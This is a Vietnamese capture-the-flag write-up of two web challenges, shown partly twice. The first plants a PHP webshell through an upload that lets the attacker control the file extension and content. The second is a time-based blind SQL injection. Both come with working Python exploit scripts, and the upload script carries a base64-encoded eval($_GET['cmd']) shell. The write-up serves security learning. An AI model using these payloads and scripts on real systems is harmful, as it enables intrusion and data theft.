Nhìn có vẻ khá phức tạp nhưng ta chỉ chú ý đến đoạn này
$base64_string = $_POST["base64"];
// echo $base64_string;
//Check have extension in base64 string or not
if (strpos($base64_string, ',')) {
// Chia base64 và data IMEI
$check_imei = explode(',', $base64_string);
$base64 = $check_imei[1];
$imei = $check_imei[0];
//Lấy EMEI
$imei = substr($imei, 5, -7); // bcd
$extension_file = explode('/', $imei);
//Write to new file
$output_file = __DIR__ . "/upload/img_" . time() . "." . $extension_file[1];
$file = fopen($output_file, "wb");
fwrite($file, base64_decode($base64));
fclose($file)
Ở đây ta thấy có thể control được extension và nội dung của file upload nên ý tưởng là dùng chức năng này để tạo một php webshell. Và $_POST["base64"] là một string được chia làm 2 phần tách bởi dấu ,, phần bên phải là chuỗi base64 sau khi decode ra thì sẽ là nội dung của file, và phần bên trái được check để lấy extension. $extension_file sẽ được lấy từ substr($imei, 5, -7) (với $imei phần bên trái của chuỗi $_POST["base64"] tách bởi dấu ,), nghĩa là chuỗi sẽ được cắt từ vị trí 5 ký tự đầu và vị trí 7 ký tự từ ký tự cuối cùng trở ngược về đầu. Ví dụ: substr("ahihi/php1234567", 5, -7) = /php.
Khi thành công thì tên file sẽ được lưu và có dạng /upload/img_23132123121.php với số 23132123121 được hàm time() tạo ra. Và số do hàm time gen ra ta có thể brute-force để tìm ra tên file.
Để làm được những điều đó, một điều kiện quan trọng nữa là phải tồn tại header Api-Key và giá trị của nó phải là key, dựa vào source code như sau:
Nhưng khi thử thì fail có vẻ như server chặn truy cập vào các file có dạng img_xxxxxxx.php chỉ toàn trỏ về img_.php, vì thế ta chỉ cần thêm gì đó trước .php là được ví dụ như: img_1233112323.aa.php
My solution:
import requests
import time
url = 'http://ekyc.ctf.actvn.edu.vn'
r = requests.Session()
headers = {'Api-Key': 'key', 'X-Forwarded-For':'127.0.0.1'}
def exploit():
s = int(time.time())
resp = r.post(url, headers=headers, data={'base64':'asdas/aa.phpsasdphp,PD9waHAgCmV2YWwoJF9HRVRbJ2NtZCddKTsKPz4='})
for i in range(s, s+10):
u = url + '/upload/img_' + str(i) + '.aa.php'
resp = r.get(u, headers=headers)
if resp.status_code != 404:
print(u)
if __name__ == "__main__":
exploit()
Flag: KMACTF{Ekyc_Ekyc_Everywhere}
2. SQL injection
Có một khung search text cho ta nhập vào một thứ gì đó và sau đó trả về dữ liệu từ database, khi search thì dữ liệu POST lên có dạng
Nhưng có vẻ trường f kia chứa column sẽ được đưa vào câu query, nghĩa là ta có thể control được tên cột. Mình đã thử thay description thành sleep(3) thì response trả về sau 3s, nên đây là chổ mà ta có thể inject.
Query để lấy tên bảng:
{
"s":"anything",
"f":[
"id",
"text",
"title",
"(select case when (select table_name from information_schema.tables limit 1 offset 1) like '_fl%' then sleep(1) else 1 end)-- -"]
}
Sau một lúc ta nhận có được bảng _flag_ và có một column là flag, nhưng dựa vào hint từ author là flag có chứa ký tự utf8mb4, nghĩa là flag không chứa các ký tự alphabet như bình thường, ý tưởng là encode nó sang hex và dùng regex để lấy các ký tự hex đó ra vì hex chỉ chứa các ký tự từ [0->f]
My solution:
import requests
from string import printable
import time
url = 'http://bif.ctf.actvn.edu.vn'
r = requests.Session()
flag = ''
while True:
for c in printable.replace('%','').replace('*',''):
payload = f"(select case when (select hex(flag) from _flag_ limit 1 offset 0) RLIKE \"^{flag + c}.*\" then sleep(1) else 1 end)-- -"
data = {"s":"anything","f":["1","2","3", payload]}
s = time.time()
resp = r.post(url, json=data, headers={'Content-type': 'application/json'})
e = time.time()
if (e - s >= 2):
flag += c
print(flag)
break
1. ekyc
Đầu tiên, ta dùng
git-dumper
để kéo toàn bộ folder.git
trên server về và lấy source.Source code:
Nhìn có vẻ khá phức tạp nhưng ta chỉ chú ý đến đoạn này
Ở đây ta thấy có thể control được extension và nội dung của file upload nên ý tưởng là dùng chức năng này để tạo một php webshell. Và
$_POST["base64"]
là một string được chia làm 2 phần tách bởi dấu,
, phần bên phải là chuỗi base64 sau khi decode ra thì sẽ là nội dung của file, và phần bên trái được check để lấyextension
.$extension_file
sẽ được lấy từsubstr($imei, 5, -7)
(với$imei
phần bên trái của chuỗi$_POST["base64"]
tách bởi dấu,
), nghĩa là chuỗi sẽ được cắt từ vị trí5 ký tự đầu
và vị trí7 ký tự từ ký tự cuối cùng trở ngược về đầu
. Ví dụ:substr("ahihi/php1234567", 5, -7) = /php
.Khi thành công thì tên file sẽ được lưu và có dạng
/upload/img_23132123121.php
với số23132123121
được hàmtime()
tạo ra. Và số do hàmtime
gen ra ta có thể brute-force để tìm ra tên file. Để làm được những điều đó, một điều kiện quan trọng nữa là phải tồn tại headerApi-Key
và giá trị của nó phải làkey
, dựa vào source code như sau:Nhưng khi thử thì fail có vẻ như server chặn truy cập vào các file có dạng
img_xxxxxxx.php
chỉ toàn trỏ vềimg_.php
, vì thế ta chỉ cần thêm gì đó trước.php
là được ví dụ như:img_1233112323.aa.php
My solution:
Flag:
KMACTF{Ekyc_Ekyc_Everywhere}
2. SQL injection
Có một khung search text cho ta nhập vào một thứ gì đó và sau đó trả về dữ liệu từ database, khi search thì dữ liệu POST lên có dạng
Nhưng có vẻ trường
f
kia chứacolumn
sẽ được đưa vào câu query, nghĩa là ta có thể control được tên cột. Mình đã thử thaydescription
thànhsleep(3)
thì response trả về sau 3s, nên đây là chổ mà ta có thể inject.Query để lấy tên bảng:
Sau một lúc ta nhận có được bảng
_flag_
và có một column làflag
, nhưng dựa vào hint từ author là flag có chứa ký tựutf8mb4
, nghĩa là flag không chứa các ký tựalphabet
như bình thường, ý tưởng là encode nó sang hex và dùng regex để lấy các ký tự hex đó ra vì hex chỉ chứa các ký tự từ [0->f]My solution:
Flag:
KMACTF{🐱🐈🐈⬛🐈🐈🐈🐱}